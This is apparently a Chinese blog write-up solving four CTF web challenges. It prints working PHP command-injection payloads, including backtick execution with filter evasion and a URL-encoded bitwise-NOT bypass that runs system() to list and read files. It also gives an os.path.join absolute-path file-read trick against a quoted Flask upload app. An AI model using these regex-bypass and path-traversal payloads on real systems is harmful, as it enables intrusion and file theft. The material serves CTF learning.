[GDOUCTF 2023]EZ WEB、[SWPUCTF 2021 新生赛]hardrce、[NISACTF 2022]babyupload

目录

[GDOUCTF 2023]EZ WEB

[UUCTF 2022 新生赛]ez_rce

[SWPUCTF 2021 新生赛]hardrce

URL编码取反绕过正则实现RCE

[NISACTF 2022]babyupload

1.uuid

2.绝对路径拼接漏洞


[GDOUCTF 2023]EZ WEB

打开环境发现路径/src

访问/src,得到app.py文件。发现/super-secret-route-nobody-will-guess使用了PUT方法。

访问/super-secret-route-nobody-will-guess,使用bp抓包改请求头为PUT

发包得到flag

[UUCTF 2022 新生赛]ez_rce

GET传参code。使用ls /查看根目录,正则过滤了/sys、ls,可使用print()、l\s绕过

?code=print(`l\s /`);
//在linux系统中,反引号``作为内联执行,输出查询结果的内容。

发现fffffffffflagafag目录,ca''t查看得到flag

[SWPUCTF 2021 新生赛]hardrce

正则过滤blacklist中的各种符号、大小写。

于是使用:

URL编码取反绕过正则实现RCE

取反绕过正则实现        “~”代表取反运算符

使用原因:取反操作后基本上用的都是不可见字符,所以不会触发正则匹配。取反后需进行URL 编码。

e.g 使用~对phpinfo进行取反操作,再使用urlencode函数对其进行编码

构造payload:        传入后成功回显

?wllm=(~%8F%97%8F%96%91%99%90)();
//~%8F%97%8F%96%91%99%90:对phpinfo函数再取反-->执行phpinfo函数;

故 使用~对system、ls 、cat、flag等进行取反操作,再使用urlencode函数对其进行编码

<?php
echo urlencode(~'system');
echo '\n';
echo urlencode(~'ls /');
echo '\n';
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

//输出:%8C%86%8C%8B%9A%92
        %93%8C%DF%D0
        %9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

ls /查看根目录

?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

//~%8C%86%8C%8B%9A%92:对system函数再取反-->恢复并执行system函数;后面同理

cat读取flllllaaaaaaggggggg

?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

[NISACTF 2022]babyupload

[NISACTF 2022]babyupload-CSDN博客

查看源代码发现/source路径

访问得到app.py文件,代码审计

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid   //通用唯一识别码(Universally Unique Identifier),标准格式为xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxx


app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup(): //建立数据库连接
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']

    if "." in file.filename:           //阻止文件名中包含.的文件上传
        return "Bad filename!", 403    //即过滤了后缀名

    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex   //生成文件的uuid
    try:   //检查文件是否重复
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)   //保存文件在uploads/路径下
    return redirect('/file/' + uid)         //返回文件的uuid



@app.route('/file/<id>')
def file(id):             //访问文件
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))    //根据文件uuid,在数据库中查询文件名
    res = cur.fetchone()   //将数据库查询结果返回
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:     //将查询到的文件名与uploads/拼接
        return f.read()                                        //os.path.join()函数存在绝对路径拼接漏洞


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

题意:

上传的文件不能有.后缀名,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。

再通过/file/uuid访问文件,通过查询数据库得到对应文件名,在文件名前拼接后读取uploads/路径下上传的文件。

1.uuid

uuid/guid简介-CSDN博客 

通用唯一识别码(Universally Unique Identifier),也称为 GUID (Globally Unique IDentifier) 全球唯一标识符。 能基本保证全球唯一性

UUID的标准型式包含32个16进制数字,以连字号分为五段,形式为 8-4-4-4-12 的32个字符。标准格式为xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxx

2.绝对路径拼接漏洞

os.path.join()函数存在绝对路径拼接漏洞

os.path.join()函数用法详解-CSDN博客

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

import os
print(os.path.join('path','line','666'))

#在以/开始的参数,从最后一个以/开头的参数开始拼接,之前的参数全部丢弃。该路径将视为绝对路径。
print(os.path.join('path','/line','666'))
print(os.path.join('path','/line','/666'))

#存在以./开始的参数正常拼接
print(os.path.join('path','line','./666'))

#时存在以./与/开始的参数,以/为主
print(os.path.join('path','/line','./666'))


//输出: path/line/666
        /line/666
        /666
        path/line/./666
        /line/./666

故当上传的文件名为 /flag 时,上传后通过uuid访问文件后,查询到文件名 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。

上传一句话木马文件,使用bp抓包 修改文件名为 /flag 后发包,利用访问返回的文件路径 file/uuid即可读取 flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值